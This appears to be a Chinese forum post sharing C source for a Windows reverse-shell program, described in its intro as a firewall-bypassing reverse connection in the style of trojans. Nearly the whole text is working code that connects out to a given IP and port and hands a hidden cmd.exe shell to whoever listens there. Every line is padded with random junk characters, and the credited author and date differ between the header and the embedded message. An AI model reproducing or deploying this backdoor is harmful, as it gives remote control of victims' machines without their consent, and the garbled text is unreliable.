这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Bm;:
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/* ============================== K/_"ybR7
Rebound port in Windows NT /vpwpVHIpG
By wind,2006/7 vj|#M/3>
===============================*/ qL5~Wr m-W
#include 3`;1;T2$B
#include (9b%'@A@m
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#pragma comment(lib,"wsock32.lib") tAkv'.
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void OutputShell(); 'EN80+xYX
SOCKET sClient; FSkLR h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `3*QKi$
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void main(int argc,char **argv) '7g]@Q7
{ z:=E-+
WSADATA stWsaData; :<HLw.4O
int nRet; ;]k\F
SOCKADDR_IN stSaiClient,stSaiServer; (gIFuOGi>
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if(argc != 3) jhJ<JDJ?`
{ '(-H#D.oy'
printf("Useage:\n\rRebound DestIP DestPort\n"); -@@
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return; 53>(2 _/[r
} <d O~;
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WSAStartup(MAKEWORD(2,2),&stWsaData); G8'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5!aI~(3<
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stSaiClient.sin_family = AF_INET; D=K{(0{"/,
stSaiClient.sin_port = htons(0); G
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AR{$P6u!%|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IC1nR
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{ DXQ]b)y+N
printf("Bind Socket Failed!\n"); c}s#!|E0v
return; ;@
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} B>c2 *+Bk
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stSaiServer.sin_family = AF_INET; |T]&8Q)S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y`z4S,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,L4zhhl!_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f:6F5G
{ X ka+1c
printf("Connect Error!"); Nw(hN+_u
return; *3s-=.U~
} VVcli*
OutputShell(); JJ'f\f9
} Y!+H9R
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void OutputShell() nM *}VI
{ M+%qVwp
char szBuff[1024]; x U"g~hT
SECURITY_ATTRIBUTES stSecurityAttributes; Pz\ByD
OSVERSIONINFO stOsversionInfo; 4iZg2"[D
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CugZ!>;^
STARTUPINFO stStartupInfo; )&Z`SaoP|J
char *szShell; I8c:U2D
PROCESS_INFORMATION stProcessInformation; `\'V]9wS
unsigned long lBytesRead; PHJHW#sv
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ikw.L
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k~I]Y,
stSecurityAttributes.lpSecurityDescriptor = 0; ";7/8(LBZ
stSecurityAttributes.bInheritHandle = TRUE; f=.!/e70
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); # ,97 ]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |'I>Ojm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <L<^uFB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1yqsE`4f
stStartupInfo.wShowWindow = SW_HIDE; TL)7X.1'L
stStartupInfo.hStdInput = hReadPipe; k~3\0man
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <4<y
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GetVersionEx(&stOsversionInfo); VMe
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switch(stOsversionInfo.dwPlatformId) 0*+EYnu+
{ x+ER 3wDD@
case 1: k_uI&,
szShell = "command.com"; *$`N5;7'`
break; ZJm$7T)V
default: $ M/1pZ
szShell = "cmd.exe"; 8nL9#b
break; SlHDBr!.z
} (h=]Ox
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5#s],h
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send(sClient,szMsg,77,0); 2,^> lY
while(1) U_;="y
{ -7'|&zP
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bfm+!9=9S
if(lBytesRead) 0pG +yec
{ "K$c 9Z8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &[
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send(sClient,szBuff,lBytesRead,0); qL`yaU
} ZI1*Cb
else }fv7WhQ
{ !uO@4]:Y
lBytesRead=recv(sClient,szBuff,1024,0); ~j(vGO3JB
if(lBytesRead<=0) break; 87W!R<G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uqU&k@
} yla-X|>
} t_*x.{x-
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return; 4;
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}